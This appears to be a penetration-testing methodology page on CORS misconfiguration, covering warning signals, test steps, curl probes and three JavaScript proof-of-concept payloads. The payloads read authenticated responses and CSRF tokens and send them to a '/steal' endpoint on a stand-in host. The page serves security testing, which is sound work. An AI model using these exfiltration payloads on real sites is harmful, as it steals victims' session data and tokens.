cors-misconfig

CORS Misconfiguration

What Is Broken and Why

Cross-Origin Resource Sharing (CORS) extends the same-origin policy to allow controlled cross-origin requests. Misconfigurations arise when servers reflect arbitrary Origin values in Access-Control-Allow-Origin without validation, allow null origins (exploitable via sandboxed iframes), or combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true (which browsers reject per spec but server-side logic may still honor insecurely). An attacker exploiting a CORS misconfiguration can read authenticated API responses from a victim's browser, leaking session data, PII, CSRF tokens, and other sensitive information.

Key Signals

• Access-Control-Allow-Origin mirrors the Origin request header verbatim
• Access-Control-Allow-Origin: * on endpoints returning sensitive data (even without credentials, if the data is public-sensitive)
• Access-Control-Allow-Credentials: true combined with origin reflection
• Access-Control-Allow-Origin: null — exploitable via sandboxed iframe
• Wildcard subdomain trust: any *.example.com origin accepted, including attacker-controlled subdomains
• Missing Vary: Origin header indicating improper caching of CORS responses

Methodology

1. Identify API endpoints and sensitive data responses.
2. Add Origin: https://attacker-controlled.com to requests; check if it is reflected in Access-Control-Allow-Origin.
3. Add Origin: null; check if Access-Control-Allow-Origin: null is returned.
4. Check Access-Control-Allow-Credentials: true — if combined with origin reflection, full exploitation is possible.
5. Test subdomain variations: Origin: https://evil.TARGET-DOMAIN to check for overly broad subdomain trust.
6. Test with OWASP ZAP's passive and active scanner for automated CORS header analysis.
7. Build a PoC with fetch() and credentials: include from an attacker page to confirm read access.

Payloads & Tools

# Manual header injection test
curl -s -H "Origin: https://attacker.com" \
     -H "Cookie: session=TOKEN" \
     -v TARGET/api/user-data 2>&1 | grep -i "access-control"

# Check for null origin acceptance
curl -s -H "Origin: null" TARGET/api/sensitive-data -v 2>&1 | grep -i "access-control"

# Check for subdomain trust
curl -s -H "Origin: https://evil.target-domain.com" TARGET/api/data -v 2>&1 | grep access-control

# JavaScript PoC — origin reflection with credentials
<script>
fetch('https://TARGET/api/account', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  fetch('https://VICTIM/steal?d=' + encodeURIComponent(data));
});
</script>

# JavaScript PoC — null origin via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://TARGET/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => top.location = 'https://VICTIM/steal?d=' + encodeURIComponent(d));
</script>"></iframe>

# CORS misconfiguration leading to CSRF token read
<script>
fetch('https://TARGET/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
  var csrfToken = html.match(/csrf[_-]?token.*?value="([^"]+)"/i)[1];
  // Now use csrfToken to submit CSRF-protected forms
  fetch('https://VICTIM/steal?t=' + csrfToken);
});
</script>

# ZAP — Active scan for CORS
# Analyze -> Active Scan -> run against target; check Alerts for CORS issues